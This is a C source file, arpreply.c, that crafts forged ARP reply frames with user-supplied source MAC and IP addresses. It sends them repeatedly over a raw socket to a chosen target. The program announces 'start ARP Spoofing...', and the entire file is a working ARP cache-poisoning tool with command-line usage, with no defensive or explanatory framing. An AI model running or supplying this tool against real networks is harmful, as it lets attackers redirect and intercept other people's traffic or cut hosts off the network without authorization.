arpreply.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
typedef struct _tagL2FRAME{
//{{ Ethernet Header
unsigned char dest_hwaddr[6];
unsigned char src_hwaddr[6];
unsigned short type;
//}} Ethernet Header
//{{ ARP Header
unsigned short hardtype;
unsigned short protocol;
unsigned char hsize;
unsigned char psize;
unsigned short opcode;
unsigned char src_macaddr[6];
unsigned int src_ipaddr;
unsigned char dest_macaddr[6];
unsigned int dest_ipaddr;
unsigned char padding[18];
//}} ARP Header
}L2FRAME;
void InitL2Frame(L2FRAME* p){
printf("Initializing L2 Frame... size:%d\n", sizeof(*p));
memset(p, 0, sizeof(*p));
p->type = htons( 0x0806 ); // ARP PAYLOAD
p->hardtype = htons( 0x0001 ); // Ethernet
p->protocol = htons( 0x0800 ); // IPv4
p->opcode = htons( 0x0002 ); // ARP Response
p->hsize = 6;
p->psize = 4;
}
int SetHWAddr(unsigned char* dest, char* src){
int i;
unsigned int tmp;
for(i=0; i<6; i++){
sscanf( (src + i*3), "%02X", &tmp );
dest[i] = (unsigned char)tmp;
}
return 0;
}
void PrintHWAddr(unsigned char* p){
int i;
for(i=0; i<6; i++){
printf( "%02X", (unsigned int)p[i] );
if(i!=5) printf(":");
}
printf("\n");
}
void dump(unsigned char* p){
int i;
for(i=0; i<48; i++){
printf( "%02X ", (unsigned int)p[i] );
}
printf("\n");
}
int main(int argc, char* argv[]){
if(argc < 6){
printf("usage : ./arpreply [interface] [second] [target_hwaddr] [src_hwaddr] [src_ip]\n");
return 0;
}
int sd = socket(AF_INET, SOCK_PACKET, htons(0x0003));
struct sockaddr myaddr;
memset(&myaddr, 0, sizeof(myaddr));
myaddr.sa_family = AF_INET;
strcpy(myaddr.sa_data, argv[1]);
int r = bind(sd, &myaddr, sizeof(myaddr));
if(r==0) printf("socket binded to interface %s\n", argv[1]);
else{
printf("can't bind %s to socket\n", argv[1]);
return 0;
}
int len=sizeof(myaddr);
int delay = atoi( argv[2] );
L2FRAME l2;
InitL2Frame( &l2 );
// set target MAC address
printf("setting target MAC address... %s\n", argv[3]);
r = SetHWAddr( l2.dest_hwaddr, argv[3] );
r -= SetHWAddr( l2.dest_macaddr, argv[3] );
if(r < 0){
printf("wrong format MAC Addr(should be form of 11:22:33:44:55:66)\n");
return 0;
}
// set source MAC address
printf("setting source MAC address... %s\n", argv[4]);
r = SetHWAddr( l2.src_hwaddr, argv[4] );
r -= SetHWAddr( l2.src_macaddr, argv[4] );
if(r < 0){
printf("wrong format MAC Addr(should be form of 11:22:33:44:55:66)\n");
return 0;
}
// set source IP address
l2.src_ipaddr = inet_addr( argv[5] );
printf("setting source IP... %s\n", argv[5]);
dump( (unsigned char*)&l2 );
int n=0;
printf("start ARP Spoofing...\n");
while(1){
r = sendto(sd, &l2, sizeof(l2), 0, &myaddr, len);
// r = sendto(sd, frame, sizeof(frame), 0, &myaddr, len);
if(r < 0){
printf("interface unavailable\n");
break;
}
n++;
printf("\r%d packets transmitted", n);
fflush(stdout);
sleep( delay );
}
close(sd);
return 0;
}